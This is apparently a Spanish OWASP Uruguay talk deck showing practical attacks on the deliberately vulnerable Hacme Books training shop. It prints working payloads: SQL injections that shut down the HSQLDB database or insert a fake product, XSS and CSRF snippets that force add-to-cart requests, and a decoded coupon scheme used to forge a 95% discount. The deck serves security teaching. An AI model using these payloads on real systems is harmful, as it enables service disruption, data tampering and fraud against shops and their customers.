1 of 27

Ejemplos Prácticos

de Hacking a un eCommerce

​

Mateo Martínez, QSA, CISSP

OWASP URUGUAY

2 of 27

OWASP Vulnerable Web Applications Directory Project

http://goo.gl/84NfEv

Get out of Jail!

3 of 27

HackPack v1.0

​

Hacme Bank - Android v1.0

​

Hacme Bank v2.0

​

Hacme Books

​

Hacme Casino v1.0

​

Hacme Shipping

​

Hacme Travel

4 of 27

#1

Generación de Errores

​

5 of 27

“ ’ ”

6 of 27

stack trace

7 of 27

“ ’ ”

• Tipo de BD – Hypersonic SQL (org.hsqldb)

​

• Servidor de Aplicación – Apache Tomcat

​

• Utiliza Spring framework

​

• Aplicación J2EE application – Java namespaces

8 of 27

​

#2

Inyección SQL (a)

9 of 27

​

Comando para hacer un halt al servidor de BD en HSQLDB :

SHUTDOWN

10 of 27

​

Comando para hacer un halt al servidor de BD en HSQLDB :

SHUTDOWN

11 of 27

​

select * from products where title like '%texto_del_usuario%' and like

'%otro_texto_del_usuario%'

12 of 27

​

select * from products where title like '%'; SHUTDOWN; --%' and like

'%otro_texto_del_usuario%'

13 of 27

​

#2

Inyección SQL (b)

14 of 27

​

my feedback', 735); insert into products (title, description, popularity, price, vendor, category, publisher, isbn, author, imgurl, quantity) values ('Eat my shorts you pointy haired boss','A great book',4,29.95,'Amazon','Technical','Addison Wesley','1234567890123','Disgruntled Employee','http://',1); --

15 of 27

#3

XSS

(Cross-Site Scripting)

​

16 of 27

<script>alert("XSS")</script>

17 of 27

You should buy our latest bestseller instead of this book.

​

<script>

​

location="http://localhost:8989/HacmeBooks/addShoppingCart.html?productId=1470"

​

</script>

18 of 27

#4

CSRF

(Cross-Site Request Forgery)

​

19 of 27

You should really consider purchasing the latest bestseller.

​

<img

src=http://localhost:8989/HacmeBooks/addShoppingCart.html?productId=1470

height="1"/>

20 of 27

#5

Crypto

​

21 of 27

15 % de Descuento

AEODBOBOOF

​

25% de Descuento

BEAAABBOOF

BEOABDBOOF

​

22 of 27

AEODBOBOOF

BEAAABBOOF

BEOABDBOOF

BEAAAB2006

​

BEOABD2006

2511122006

2501242006

23 of 27

% Mes Día Año

15 04 20 2006

25 11 12 2006

95 04 20 2014

IE OD BO BOAD

​

Probar este cupón: IEODBOBOAD

24 of 27

#6

Broken Access Control

​

25 of 27

26 of 27

Hacme Books

http://sourceforge.net/projects/foundstone

27 of 27

​

¡Muchas gracias!

​

​

mateo.martinez@owasp.org